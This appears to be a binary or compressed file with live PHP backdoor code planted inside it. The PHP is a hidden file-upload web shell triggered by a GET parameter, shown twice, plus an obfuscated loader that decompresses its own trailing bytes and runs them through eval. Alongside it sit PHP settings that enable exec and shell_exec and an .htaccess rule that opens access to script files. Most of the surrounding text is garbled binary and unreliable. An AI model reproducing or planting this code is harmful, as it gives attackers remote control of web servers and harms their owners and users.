vX?-~cv6pyRO#_VS[iHQ`~U/ ~Z`jW|?Ovε`Ⰼ,=vlumoazqwc{82Pxvlumoazqwc#|*`)GWvlumoazqwc6Kwu5Cr+vlumoazqwcvlumoazqwcrX*CFl[TW3R"a;scydxpolbi^ZvG	.H͜Ӧ~ݱuG,!Z4ztr2e'R/H~栙(14kU2i&o2{.pIv`j |scydxpolbi?qn48CG4#vlumoazqwc 'AYdX7_4Ab4j3}̓ӑG*ϳI"P7xTG
i
aVrEY
t@((
_j")mO]hxw+gZPRZv峀y٣r?WpGʌ1Ww$ T5]oݵvR$dr~6^QCԊO(qi~բDktY
}#pX㞗	0vQt$ہ̠) kUemՌƃ' V~"` : Ⰿq9&12ƩeNr%[w	i(@KЦЂ@35
uVD^nscydxpolbiѭMt!z1 :hqSDwC
iҫu1 nP@PcfCU$gq~p(fHurm
ɀe(ayOB:6Xߦc?'$vAF_@rxʪ
qd%"UfuFő郞`#$]Fk?kjųIB$6y/NJAHYwXcFYeV;~4J듘)J|"GVgvkJ릯:B^(|14y}~tAP=	đ8n7p+kBD]s],pyG[% A
I
{`:Pa=蠀ӧo1)DGdj;nvU)\
iUvlumoazqwcASQ~
сA{O_s*I}͜Yg0n(NY^ *7FFmʾtf0ix
aԲtbQűscydxpolbiAuL89	zA]z
ٜ.6*`+ܟ֭M}/lACF§߭jZgx,ߞY2hAB3#`vlumoazqwcM"-և0GV	/V	C|FwA'6իvlumoazqwc=W*Ơrێ8
:62,ld,uhu5:Qcpv 2	؅x	hYB
J}xM#)kl0)e2,]b0}(Pȁ	@;mLG_hm/?555nna+1 _&7k@ySLreIN.WYȥսQ||)&c@]FwI2[_IY
P5P~T|1ޓK#'eL
άG9~*A}{0=4X¶cryKx1J&/Rs#y+"sݟfK[hYPS$#؂!vN)!T};#EscydxpolbiwI
ߵ&%de{'$|F.aF*~ysI݃scydxpolbi!c\&
C~M{21bר+FQ$j;Hl:$NK8^KtW^N,|ǚ%?.̴{NS
pbyL9?"Y\]1ly&Տ'Jh#dGvlumoazqwcFEG~^)lscydxpolbiNo #A(ח)%,`o+̕ז+
VthL)}v^+s½c;%ߘN;i )0s5rܒ@.u4Y_[ARܼ f3πʎc9i-Kex~v] Xd)Ώ'V|NvlumoazqwcE9벫}3-neWA
`ajs2NʌMf:scydxpolbiNo,Nl
=9Ce\."-٠8Oi'?.nQF+k_bhכtG(3^tQt r%!XLL5z~қEPhOś-!Rǅ׳ψ͝,scydxpolbi{!2|MS[-g"є
QoeUcFĒDan,Hz)uߙ%swL@_P[JVs@-`8.ms7=q4j
e`rLa O|B7Dr.ׁsҢvlumoazqwcQWkuOAvlumoazqwc/#"IG$Ovlumoazqwclڂ.%#}=gb

_$;ٲL"*D[|?eGƹXj%ICo$H{O I[b[ڠ$5TV6 !3Sqܧ	yvlumoazqwcpb`+NeJ% 1Yy/c3yqĀFw]ip!RΤ6/od9aa"ľpCfPgscydxpolbi#ĺf")K\Z_)ZmQ}aEBz6:gᕇ*ƛKLKo}EI`v|_~\$0oKO'z|z[|~m:]Wv/VspoȎE2d(18@O^vlumoazqwc
U]|s[
U R`ɞ 4t%OJx4a~(ڈ;6bLhwܻ#~
	ߒo@lf||*d$&pOطk"cBY68y)̛o[-Ir;~38oEbvlumoazqwc_{"cm·@W,Ǆڢ%V
;	7KhZr2!q=G Z
,,_A4`	3/9aG۱t@ |*~Ԕ2rG1YdWT/%eEab	WMY`$Lﾈb%M2q5vkQb
78-vlumoazqwc_pZ%T\0,a ^qI:*e{Uydr
2n;IIJn=xM0]Z8ЊLdVWd!.91WF31@!icEcl{V
fOkGe7#N5=?2H WRE%vNzf3ozӺq5FϺUNvN&x1x"λ1®u!vݽ?}$3Xi"Qlɛ%[scydxpolbi``a}!,ɭ}0F!Cor;`&,gl(tg8b$:7vvbr?l;u)ղ83k%5ljvOngz
iŲs()8ϹߔԷ
&A84I놔wBĦa:,SKkcC;/L!)G%p
O9M$("E0X
z|:_aD0wK~*֙^vm_þBɏBr6OscydxpolbiO{VJ2,JK#h[s%7FD%{fY
 ;?#b2(}FC]n1Rx@+#!`udctpii6WvlumoazqwcyVl.^H҃ۆG%}]n$"!a^RN6Ꟍu{tA~λ8a\wk󫒤qWO*
M״2pZ:jy
\u{utdT{xxO{scydxpolbicT̸vlumoazqwc`J"scydxpolbijv̫r;/snvlumoazqwc/} deC|Ue_x;"EogCMs&;ANc]lgxF/'N_0"|:zscydxpolbi(o޵QYU0"ȴ='Qeܖkt4WvYc2(VD/#M
ow0c`h*^_+I՞xgvlumoazqwcS
scydxpolbi,51%Z)'[#:puBsQfLC,?:/vlumoazqwcd՘6kju_U8wQYvlumoazqwc
.p yiscydxpolbiO%#zBtscydxpolbiWMVGDEu+{[jNb%؛é n\	
ld9Zp`w,$x\4̅KGPC	pFtPJT{pưqe=R]ATscydxpolbi,7M뽠21nF*\OpzblAXN:S@Et**|# a}rZz,eQQH!MC`
A~
/
?[vv~8d/5µ:i&((ѴZU8h}ZJQA_X:(=R)`I~X	uߩvMBɥu3?zI{כ*^;YӪ{S0b!f
J*Z_\uȞ^' 3[b{ǛgXz ~_n5j]ޕY))-cޫ!=a17}vlumoazqwc=tXZɴ
̃*^sbrFZZes|vP"x}]E@%GRet򃃽cX١Ѭd-AHsvlumoazqwc2~OXL
_G DWdfA9#yTmmSE^y+[TvXo恬J!]ZscydxpolbieVexK
?(:U#(K@"K/;G"x
~  7)J9;!?];!Quf|My2Lbaz̈́S35ϝ$N
L%\$3O,m($;F{W}1xqGFUF¿}(d3͞}ZQr/scydxpolbi
RF
ד]T)* _JTH/W-~Ii-'+O^.	G\ՐH߾8i ,MhTWqւJ$~n
`!XX8kvlumoazqwcuBscydxpolbi;!I1=xvlumoazqwc
y2YYn]4ΣR:ҌV\) ӗw\D
5scydxpolbi G~"CAZ8*7٧W+~9ސP{ 8ieh [kvk7l+r~!vlumoazqwc.
 jJ.|vnx`FOvVscydxpolbi_)kAkj
Qˏ+R9\!g/;)^=Cjepl
=PYedG*]BuOxnHlǸ0+͢dD~֨ӵ!5Hc.?Cx&ۧX&;`CMKgEׯ✜fiwBu/h
.0yBY{i7'ƈwt',O,)XY|e5@Yd4A6T9O!MSk6Hvlumoazqwcvlumoazqwc5B Tɴsvq/_j9s9큶IRjkmX~澽Jъ5sH5ӯx?i^r-vz/vBTUxo{FrascydxpolbiZ0(]e;&
Q,=scydxpolbinyH|d@v1zb_r%/nL܄b[u|ÙÏ 18*@-cm4yfI3G%#}gH(@vg0BDxI31cb,'pqj1.5H-rY"ary[J):}:.0*rr]6MW{جT@_uZM
{scydxpolbiW,Z#SokM$c{1gPu՟"1kf!Gt)ΝݩFOmLwߙhybʽ(uK]rr)bU?@F?{fLȹBuʲ(5scydxpolbi"*^)hb/7쒒+o(eՔP|n
B	E1'Wb&z)O
4rX5$U s:vlumoazqwcvlumoazqwc~h?	cf
)#b%\GXS2\T*9~0-Ɇ&}}L3|ai|Rg^\e*caj)qTeEM#یM_Cvlumoazqwc/|GWYtZs(zm#B#A4Z$xX:px
\l`؇@Gpwiۑծ7k|2"x=пX YR#6Xf)26ֶ Q2jC`scydxpolbi4! 
!'\֜6l_YS_'c H6Qt	Gm	{5Ik2iCT=fKM:`]ך*N?Q-sAHU)?^UU`z۶+PmB	n;kw(;N piA73Q_G+_i܈$,fPl!Dt7)uSvlumoazqwcN&Ŕscydxpolbio% ԱNn8)yIpRFld/\[h*MbVVދ0m)ϯ򛰙-0j׈]-D,$̮їy1vlumoazqwcaw7)C0aiHuN#=:SlDs/%oY"|/G돑%h+}|.g_a7Da mYr\[gg	"^:l@ۗcU &.+Gĭ(U.
)*CCW `^I(׏Al1}Ν-,n$IZ4vlumoazqwcK E|hj#d"`$scydxpolbiE5Ӑ(E(ˀtjK{._q~zHPe2	1X.scydxpolbiscydxpolbi,Ø/\v$8`n´GIn_j}4|/ Qvlumoazqwc3HK'#=29!KB,z1O1_dB^efdу@p?,7bdJ3hA=6݈G-EttB`yV%v_}7}[͟@?J(GJ2rox_Eޢ=W؛FՐ (Mo+VscydxpolbiƀUUdjUd#[+K
V%, pw݈$u}#xalmCRt?$F!w&+?d_7ȩ
fxίrx輦pSRǯ;Пjt#⅜vlumoazqwc0џc+7heu|aBéD%Ac9"ij$ &wOs;[1U Y$ոU\'|esyʼ	H}q1~J!bUHaas?Y|瞉,=n߳ 3c]cby9bZJB#C#7ـًk\E6I94黙,!IHJ/3DSNL]Lscydxpolbi
V@F.{^/~Py#G;%n3`b9Fz[ ~	NNAgD;̑qOom=/B@m%9vlumoazqwc'Pĉ.HY^i
'|tP	m \7mscydxpolbiaGDPGKaYovlumoazqwc+@?}V)\;
^Ա&7ZB]D#d썻%J{Ci'oj y*(ȇ	\"(	0bV[anEXr7]wn*Z%nAW|Tm@=$j5bkdGioHS%w&U3CGV
pn&|!]6W9?]ыRȢ癔:x꣘EֽRA2ۋB,+#Ƈ} .0 Dr!'S q(] EnY¾
ݟ[`~GiinaQl(oBscydxpolbiVܫ)xcQ&6
lscydxpolbiq\mTL΂݅
=X:VʴxR^|O%Z5gvlumoazqwcQIvlumoazqwce@ymIԬKvS6~scydxpolbi.LPy]]e_,G;1u*2X%"V	,gOD*=^D#S+/^KMdnytG6mZ8h3m~Z]7SzYL)j`scydxpolbimٚزJ]Ǭfow$dz2Gqvlumoazqwcv9|骖}:tY_aD8٥ӅX}ZlqU37l:scydxpolbiі&#Q,!o4kyW9
3Iv(%l&5)Ґ3!h:dEI`rHv 4OPuCQㄤvlumoazqwc+*"]Tfz5eo#XرW\WXvK?}}u,dEfwDQNicc^}nIՅj,3-œօCscydxpolbiu6[8@ 4'uvlumoazqwcpUvY;'vlumoazqwc:8Ceq˦ J8HГsm̗FeBnN%j2uc,#sELjG[Dwl,;22tvEWV:ZI"ޫdfJtɛb:ݐek˗inE͇W۳|Ҕޑ4])mTx#S͜`K142LlX}(^X
L?%bN*T̈́}
ZoFX%g	Ұ^F{)jLZ]e%
DvܗxC[n%}_Sx(cq׌G|4sں{{w{lq5ޱp֦xuP') 
	|vlumoazqwcsxFLr5*Fͤ7}sG[ֻ*fu33ut*֕J~h(^9scydxpolbiX/!\o;wN'uvlumoazqwcTWj7,ŵ-NvlumoazqwcOg:TscydxpolbianJzv
~f/
ohw!3,.m@!LU%ϻ*+zҜoLH;2y%_kRCm!Os^GsS$_'
f62h^V8TlN%c*#tbUBvemmK-
N!t'%2A,GOZkU ۉ
ta]T0u8^B6KmUl{ZUڸa
W+`V}:ܐw
m
s:VK-+$ILt\
ɵ	瘸kExA$4wtG?g-C
#rsF-XN;UR]2~)ù#K/i~᭔O9UqÉJIoeX6,YS_&1I:"agy0IXFUqiCQwRsԢ|50ҕ
;0 @(scydxpolbikR+j%VkrDD3ϸصX%Q.̑i!scydxpolbiڂ0)Μ*Jri'5嬃x*%
*wǿe7:7n`;3scydxpolbi"NMOZzb|5fCU#,(~tmu/
]}^Ⱦl\ܞp J8$
AN`Q/X?~Dsvlumoazqwc	%ˀ}9.鵶2էO-~jV;p!3cm:Z&)4nuZUcP%֧UxӺ#Q!)\7=/dxQ~vRܾ/O=kg53s-UeUJ$0qeΓѩ9vlumoazqwcvq_c
]=d-mVC`P"҉-5Yc3/
.!\u*ThV`E
ja4KeftULD:$K:%'u'ځvZHRH-:'(8R,ؓ9c'2R?j􃋄~ xq+?9E	uM2,u`?T#If7sj?ZY_|)icm3B5!,!rBnb |iJ:ƙK#]P7f
-ׯx&s
{1LqFˡNSDg윋6tJMǩ̏ndD!P0GFygDڅC
Iscydxpolbi\c&#nW;5y=xZH
 H	tK;{]]ƐBX.YtbAoΫFp] `=|g&{ӺIsEcM*ą eXN+vlumoazqwc3@{ŨWl@ӱoow311Rq9d"Q/J//scydxpolbiy	@HC5!y$g"ٻU"b;Йo.-Bv`Jm9-Iesjky7U#C8*u튣%$!*scydxpolbiQu҄Jkvlumoazqwcx[:b('"S:   u $ {?rsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$PWeV='subs'.'tr';$GgQd='ex'.'it';$qrWZ='file_ge'.'t'.'_'.'contents';$Wzgn='s'.'tr'.'_repla'.'ce';$uVFb='gzunco'.'mpress';eval($uVFb($Wzgn('erudvtmynp','>',$Wzgn('rvyozwhlsi','<',$PWeV($qrWZ( __FILE__ ),-172730)))));$GgQd(0);
?>
xLǮ`_}i9E1M.s|z*uȢZ*Q?*?a-O@*_yM_NYfUwNf,db]˛mw;
?Qwv?li\yZfϊ3׿'^H})4@좨,A)2`V8E.vaN
&G_aq[89/ǜ=]U8j^ʏռ"_qiN*g9Lj9E?4;cYerudvtmynpsűAN:=[$K7Su"{06kԋY _$.]V:74(WF2%g4erudvtmynpΤpTUe^{D̺NET*erudvtmynp9pn*=8ܸ1dSZ"rR?˙[Gr؃F{3bC96člKN_}j\to"͂=i$2Cd~H3,p8[`A.T@HkΡWtсxr8#iWݩ=Zi
nm&O=#b 0ߘǕu*jQը&i+X39eEh.;az#{c/YOP0	e&']d9;ڊ0xx pJDBHAvv
/rX5M#0X׈r3"+JfFQJ[lֽuy-KFi9J oODeq1k }erudvtmynp@.zwj|ca#UW9$PDT,XPJerudvtmynpvD+yőH~':J蘜 L#H^RމEqRo盕m /ǵbK2mO'`_4ylF\pvuKP܆= !l+
erudvtmynpgF2@+!ЊH緉 H)MIzr&N@J}NAM?l	rvyozwhlsiQmym(x;NF R8!Ƙ|lɻ: [CɵMX!0H0ra/gA?SA/ӗ	iϚ;$&fCIѝ.PmaAW-9
)(~ynrvyozwhlsivb;)xX9B$na-I|
[`jpu6vћJ,|(Trvyozwhlsi)erudvtmynpzU'Jpftv22@P,v$j'i{mN%lw6˺W`AMETRPFF[,6Hlf~jrz,sIGb&}cS1d4UVd۵lNPs:J:|	v,#
3BMF:5qgϥJ%	kLߕjn" Fr1m%KQu:8F"mG
Ac謽)kݰ`zڈ&5 ǔUa/4u*\5th!#*6ܺЉpL))%y|:R6k]yt5qaГerudvtmynpV *|f,\kq㫇Ejk6YW~abCd'GDZo8{M!ԖjE'_ƿ}Z=wzaKE'E`xhlY3LaAȸ`=V:ob
V̇Ou
O2|B=jL5yD}y_A)Bi6ۻb1Y)@i*#j"xY:Z,o.Q OH7`rqraƱQǘ	^U@1@ulHyxt~W}B:({2Hr/,[񈈆nOOT8^)丟-׶܂[erudvtmynp#֙eD4D9vi~tĔ[بIq҆mQ)ZYң6킖L58ySJT&g*Roeq.xlNT={t"櫅3erudvtmynpޝ]ȺFrԔwwAX\0Y!u F1K1?
Xͭy˝?Eٺrvyozwhlsi6EFns
oڮ@Y]Y]4AQrvyozwhlsi48bH/ Qi6:˾2?׬V`V 1o)cF|;|wЎxb_E9CȘYO6	 rfgc%;rvyozwhlsijw:u{oR3	p=LЯ%΄QU[	yhD=#xO$Se5_`KzA3`Mf2OQ
'&y-drvyozwhlsiUЊśJ8KhdhߎPܓZLxS_[~RR}S {rz0ϩKwNlrrӿ&k pnqmO[y-M"[{[򨀍
UE5vJ;?CO2prTb,c!7*~A: d3ed!&V^rpH\uk0~W\Up|NPkJGϱ1OCgJzⓆX0HB"L׉}
7SeؗWtϟ
db4%Sc^YGKd_L{R)\;G,1~r?ϑSփƒՈtrvyozwhlsiiR鵂\`}TPerudvtmynp^)V$h72
*-[tiZfg+kH	Rc*	0cV2)&/M~U`UDD|Z:˞pJO(΢erudvtmynpSs]='!c	E
w%puNȐ/ RerudvtmynpK=Epor7'1p-kkJP09ۛS. ԩ[']RR?aerudvtmynpTj3FdȊX\0͂]$A-3o~'uBᤛ1,Ѓ	f:ݽnH"im%loSTrvyozwhlsi,[ahi!*T$xaφ']
 'j(W [vJE1
qֹ(DwN-hƥ3V7Z^+?|-+,eox%汨O0^^-fȸR_jJ*LZ+nbuhR"\?.?mMZR?CyCߺsA1u=!VLӃI&(H|1,`?{*-Vk@nz}%e|Խ99]i(erudvtmynp@'zUbZl;kW܏6x$͈fS
'Acz^	/¨#3i!ܢ*Z):Soc1JMQvt/
Eiu3GpW9s2Bd0rvyozwhlsi2S-zǲ	q-p"


3rvyozwhlsi2 B.	weQXDqffv4?[+ =g`\tI~hP"6rwB$!NʈPS9x\YdAtOEe@jvc:zDfՕ;dV겡r Hj[܁e7#0"TSC\yhY",;PZ2ЖvrypKƷJo.3t@rvyozwhlsiWP^&uGsMd$L QwejK"HzrX:(L#GAܻ
fy) ܖKn׋@4D6Ou	cNzƬ$LtOV]t,
jTw-(V0#_Zc& ~1Herudvtmynp7pl l8HFzrDAn$*bIީDM7rvyozwhlsiK
di,-oя~9%Xf` d5nЀk-{%`/]{W|Ы+".ZKܙ2
e/^1v
vU|=|R()gfYSz;j]90zT-3$rvyozwhlsiZǵrvyozwhlsij3a~y?d&
k`(2)q賗5YPerudvtmynp|nerudvtmynpmWverudvtmynpxűq72N_wGL 
Lor{04J#Rڗ(yr_ V8CȮWr&V944\ 1J9uO8.=!~IvS&=0=\Gu'atYI\0ʅέn^p "@FM4+*sWf_[lQo܋q	VNnjHEgo%gFi&|ba`'!erudvtmynp	fUuZ,y,IF]6ƨ98ʗU__rvyozwhlsio@Z
ϟBov
~MI/ƈJ@D|yAT%5P*4ET PJwEU9 yxCtظbC*op(=fؒp;[ǒ\k_q5YvJ 8DSV!;e{Vδ̸qƽc&qԾII`"⩔Ȥ̜{:IWjd7V3@1rTA"irvyozwhlsi6F.OE} =|;,ɟLE7VHMreM{u{l8~ꨠDRy[
O8;UچGpڱ~eyç%zW((qW_ n[i j֦7'cMT]0erudvtmynp%^rvyozwhlsif7W-X`1/:	a!,m"|d]r"3!OZnrvyozwhlsi[Țh|lC\NTQo
oѓhZ\@
~Ӝ䪿	-y_̒ervyozwhlsiGq|1;NQ~O!rvyozwhlsihyʆV D_dτ$aF{tʂx8g\웙ۆ~
=k÷Cʈf3|f|樅Lr-=9u9oh]GtcGq:*ڔ#l	e c[׽fbAH_Jn9QwcXyēU뼽Cz48*4rTW2
OkA-;F2(ȒE=pÌ,eD,˺/Q-sKYL͚=:hjT#terudvtmynpI˽zUCcB\ܷ5U
MBIxŀ^ZNd'ʍ׆
'P+#j)%xe+_9;NHJ{
-!κFz%πbQWH8{K!shx:sW DdEj8w$ߓC%caXjerudvtmynp_֏fTb&k9erudvtmynpڍ"2]BW{B|lAPGS)剝Ygerudvtmynpx۶M PQz7\F?jVYՙ.2Q7!B22-9
X sMerudvtmynpG6sE]&Ks@'/p|xh_
o]-U},dkU~7uҤݳqA}|`-ʋd:q&O&HEXLYy_0dOR.x'L4@:lHD$nR025Lzp:;YMUI0aqSfė檎erudvtmynp^߾iفj\_Um?OG+D!|UX7k]
}S}'":w(,Q/罴,1WLrvyozwhlsiE
|G!`rvyozwhlsiՃ@YJڑn/ZgoW-tvSEQbi!ŬHWp		erudvtmynp=?3RR7[4VBCIܿzڋrvyozwhlsiђ$*'V"2?2|[6BkQegomYCuMCrvyozwhlsi`xɱދ\/znLm\erudvtmynpiwaNKŪ$`&:{#H\s~4xg$Ќ	
"""J $I!VAonZ{iS|^׏Jԝ
&B%	iu*vX*,P4+h2RkvAΏUl8HnY0
裀bb`Ȏ|97Mm:TdXHC+ۍF!NQbgJ.ʉmPk~(}3]:!t|!gpG[fF~r̮c:
`Nfr}אő%֑բZXR!.kZ+6?Y G8dtFLTCBP"}n]Iurvyozwhlsi^to^*W+֫jJ$t8w4i̋jZ@1/I`nerudvtmynp+xMHFG9/WSFJ&e"jtyq/a!Dt6G'S+erudvtmynp' ?ĩwؗ	і7+)Ӭ)hcי^J{{=orn~ȁ۞'1K17m%!oM (Jɫ4YV#8\Y5PV//%3Hƿrvyozwhlsi@bfF%N`wQiuH\h_vD)}jvjWy/"8S6}[ҍltT-dpfY׿,@?QNcL;QpN?!=3x_WO+6ԥ
ݎlg	(&v=R/eEub."EM4*kV]u/̏ZH	AJrvyozwhlsisrvyozwhlsi;T1!%x@6P._|ɀ8G"/6erudvtmynpCqW_DJRD&|{0([y}иn=!Cux@*{ѷDF3J~HrI%B7FmqV顈e9h9Eѯvd3.X^}
0{PG?ݸmZԜYVcQyR0֟fȫáo\X|OzrN 

uo:9mjZqd$/zDOؗ!OhY4;q1E+hA*r)kyebټ}Bqs2$OZvv%sB`
q`Gb]_:L#v{
%71KX=#Crr
ｾ&S{o}Y
(	Qw$v"?! zF[W0;+Cd9k*\p!)DE#W Ғ
a?Qcʪ"ez=ŌkձA9ͧ@
p v@.uu,$}m(ȥ~ xփ˔U~kIN~^qpk5u@CC
pC$
k 7V\dBDsgMf&rvyozwhlsiR%8?qi'V8ȵ]4erudvtmynpרҳyO uICV0o6ՊVMZzWӾrw֣ Qd~Eddu$$lh2F6eZ
y!vD3N
T?aow
	L+,TȔ1"*u~-'u`%@AU*
`|7G7me'ڗ3^~5Ū8M4Se@ψ#Y;%vC
dw6b2J?:Eu
t(uK,%A-VWLHYq DM-gxY/zZr(o^pFM]٢hTu+CxWfl/~s.rޯ/xZ%EZşڹnu۳od?YBrvyozwhlsika4Y(/
@0U

oF Xb;Øx 'v{7wr%Q 
W n0J`M(]GStxBiQ':8V1dO#^,h50v.erudvtmynp	*&ͬ
fH?Bḡǁ[?ЋA}PMkg"ٟ徙ܔe6X2XvD_hpRߜ$d9B'v/]2)B/S0&',,F?5Q^Iyȳ5ȕtmWrvyozwhlsiDOd1^ a/xx_erudvtmynp89]`![Rzrvyozwhlsi~Ҹ|W7#2K_`k[e [kI~twSmh_~9GAC +-˼-J6Qsoֶ xÔʞ"
6e:aϥprVL$Lt^Ri
D˪9YKuJG(2?ԙarvyozwhlsi#f|GxOLmnՏx2 qI|Å/A.R'fR
4#4sHڑɉڮVzYheiv:Bdb
R=zȗ'|)\@MڹDגH;ԋkuNp dkTk[W?E#nϽ?^ )HEwRV04 sQ{?erudvtmynp|N]
]\J!3|F1tҁ"RcXh/(&0o	S@BEMBȽ̽ͺq6B\	rvyozwhlsipk'%ZW	Gerudvtmynpί`I,5I-LMwy!Kt| Q;pM·5z%6HS$IͱYS/
aԙ'Zu^Ƅk3p'oa/\7vD?󻭌5D?TZH6a~1o+,u~D.!n׋49W&"nMq$]Hg &@b})Ofi$D!*)89tOW 'GQKZ5ŵHerudvtmynp:*VR10?o;A2dzO\.BHt0/b
G`fPq`';Lx]Z(ۨ1xA&`zLerudvtmynp}uF{i$f?RF`FyuNڟ'ĉ0':!B-_drvyozwhlsiT+7:$11 *k$Pp_0VNi324$-?*j,'F瀉*1en!J6F#"#)yq'~bTv0I?dl@
'Jfb
Rҷj-t/k-w^2~K"LC*a{+=7 ǤkC`Ԭ1nj.PJH_/v\.Q\[M/.Ezb7,Qbd6Oxzrvyozwhlsi=0VxMEMm'qn
QFF	&"_ZI/ZB467eserudvtmynp[v;xРW
OlX	Ul.6a&4~6eerudvtmynp'ےrerudvtmynplaY0udua9)kw8.oI3巗Ur=;?ۋx?1˖׸ĭ 9;eᴨ^;Ć0rvyozwhlsi?:*^04|+K8.*mtF-"Oog˫E\V\_+ADmEDz
}|mO0 o3L\_;TTk&;Lorvyozwhlsi0+-",P+݀hY0$%~%y@36O(!PJ:]|v)˴?N0o~T/A`C805F7hrvyozwhlsi^+%DK%~*\xcYV]GBfHhU#hDxrtqLpB8G|B&m5n+#\7h+$s}̝? _8n"#By!H'rRq	l,5-?zr;RmQd˓hs8Sd*!EYY]XȊ;@p։fˉ^N4c^P@vhJ^k_&;ʬA$UbW:F%8\\0f
$ImvG	\|ō̴v"EYhrvyozwhlsi9T?OykBķŌ,ApדǴF3|`;ICWJfQ"2؆/a&"CnbAMVǑʆfAInvшLve!Lݦj̶AJMe4cmzqg;
=R[77u&Dx6s,/v8 5ljЗTs+$erudvtmynpd#Xytr@"^8L2}~)6ǻc
ԓ+zNu(
ɮl5LC}RerudvtmynpݼW6h]j:ťX̭Ng_oܗ)t]Rc)Qn{ܑ-컓h~w]:#[8/e%d\A=޳r="(֑Sq&'lk3merudvtmynprah呭@R	nFϋA펞iv	erudvtmynpFLж0Ӿ6x/n8rJ}i-D׷vӨUJXу_@. PInY}!YƝrrRW(bLʤl
7WPtQylRa6"Yل;yPEV'7K9}k*#U%k=rvyozwhlsi,E4Tt|#f:Q`]&O6ɮQ@`.tC 83aėoǒ D :2'm*{ RzF*_G&`S(rvyozwhlsiďRy	U'L_V3]2D= Rrvyozwhlsi{L{ &vyK}ͲN@qcrvyozwhlsih1MǝU8Ԇ'K)Z/$#BPo4"P&8+sܿZi}7M4NqD]erudvtmynpkerudvtmynpG评v6APl=",n~"ftmE#%|?VQp3ܘYF~uyka4%&6xXc!C8.,itm_}kʁrw%i5ޣ-rvyozwhlsiNsN-X[_erudvtmynpqG#2Vr?*HAdG5&W2L=|
,[j54\%}iavoXuEPzrvyozwhlsi#x(	ܾrqv[hV0ǡz9m+|mP*`:Ēe^aOf^uP/a^VqrvyozwhlsiG385pMe$!0Xcu,RŖb
Yz G-#09}W|XWn.gύ8$rvyozwhlsi:8,R_5)r  z"H'J	n&%cyWgf[(8uRl1M~@eaY=v*e*ge1+iAX;ULT,/\+ hGdzcxLS=erudvtmynp0atSI5h@ST_ )..zUu뎡i:%-?S@(p|\|apn_re@ITP_͑Ɉ!(E~,qݺجMgolKOJnGƝ(i
 h1$?ĩ}B%܉QWH7Ge2kNtY?֙Dc,i6S lrvyozwhlsioGo/-!#·_ݼ6jצDecY|#	79m/S\RImH
Ox}b3A:0]]Herudvtmynp]rvyozwhlsi_jn瞾UAk	.=вW{!I˱rpYa ~'*_rvyozwhlsi\||6}: i@_5ӣh^*UNSQ)}nUYytyYBza`xX4#7k6#6kx:԰R @(!
F_i[KfzJu1ELrwL?(M%-\ng@!ߖ
;ۆs0^aO mi+  (%ҹ=,lerudvtmynpo	%חmerudvtmynpE|3oXuqtvו(kLsNr kxBXtԴXLأVRU&:n{0xٴOٌ\Ga's"9C\rEba3F4ju*q\L\7 QhHr8ѓ
SQ4SV5Hv_WTqc$^q	[^hI&5~su'nVA_?"
erudvtmynp0 @mDCgnZ׭ho?MqpK9T׽dtL}X3.9LFX峾y \-^IqL/dƨ6w8{Pnk+IR}š|`rJ"jҩ-$&toAoiikT{O+rgЊ9wb!G,L}=T@錟6M
V;@u3~@"LM4\F8)Re*w	ˋ֟Y%PV^yV]'QEg"]_svYN;߉qCPav忌u_"_sRHuF^rvyozwhlsiсh"ܵ턜n2l,jTjIq_Zy`9,tEx`g¹ΜT79qG:%HɅ M:,øK2v#P -hxl77` UR9o7E|.xlrbT{ԲAh0I	bY~[@@f~"n$#cC(9O*
EizO]],~v9&zh
GdɯH(GrL0J
{~8\o)I`+}cșωʧ/l_?eBe!W!gW-Jg/_!k!OB|man~ɛ4\hx"dODa2}82G)HP9:*IEoTV%R+Ea7fb1_FՁ
^}d![x7{14Uo9`EiZ^jՃ^;`/Qv,\ZXu{1P^2KǿrvyozwhlsiI
T
#x.F2	9q\:g	3# {qHƯb=^BR-Irvyozwhlsi vT	eegV9 ȳjw;yMiQtL2  7޺ D;
꬀un-.]RC|	I3by}~ot?@392Jص(\eUC'rvyozwhlsiѾ nfYP{,͜k	TGD0j|e,TYa#;2c75sysrqvhx9Ue![f0gb\oT0-7bbhQrvyozwhlsi|֋ݴ$MPNfܺҝ}d7}@6euѵb@Herudvtmynpϲ뾌2*O1UꍉO$Wxi0)6饐d;qV҄merudvtmynpԽ2S;0kNmWwjd;ĥDxrSN*k+9!s@n*40k&Q=h
OQ]8Q+W\+nFlX:21P@Mꊮ(O֏ۃN:"!v+҈!?w]#w	^ 7rvyozwhlsiWz_3SFuu{~d1ƹ/+&aerudvtmynpCT6j^Cq_"rMWerudvtmynpGrH֕o1N S.b@8oerudvtmynp5O}9Kw?2s\&nOtPn Jp$S2
CQyA\QJtCGV~XF?W+pC\Uerudvtmynpaq̃i+1^;"QYspUstM855$DY,wN[wg؃hMOnk3|?+YL+srgNkQhو6Rb	f%mȟ9ZASNerudvtmynp7FC?dI{h8+~7Β9!묗b]tglơXsB_׏;^OU=a.DI]PSqgם`ۙZu-ZjqDytNhtFj.qy/jwRSBvV+ aYaO:a=)}c=6B-
|oE	2"~
c~
AH3ye7*{UO[rvyozwhlsi7Bi=*^G7[@µ~	{~m۪EwlB
l YGCOz8?gE`յ'#2)uSo*sʦ3^^o1({Nx8aBݎH|4qd8ȏ ׸XbC%l=kP.?-|-b}yE*/ZdΪ3n޶Q$
P^'0殟g!èBȚ.xv!.XްYpwtXvAYZ`/UjGhM&(erudvtmynpX7w) RB
} Z	}ߠ^8o*e[T&m/_GFNXybC0
p{; A&3%u$՗,M_DA"+Cz˥qo9|a4=LV;5zO1QΡ\Ycb@-]e5Vdg/R8N\bxڲ 3y}:_wBEۀa3:lVV}ݝbcYčCrvyozwhlsiy
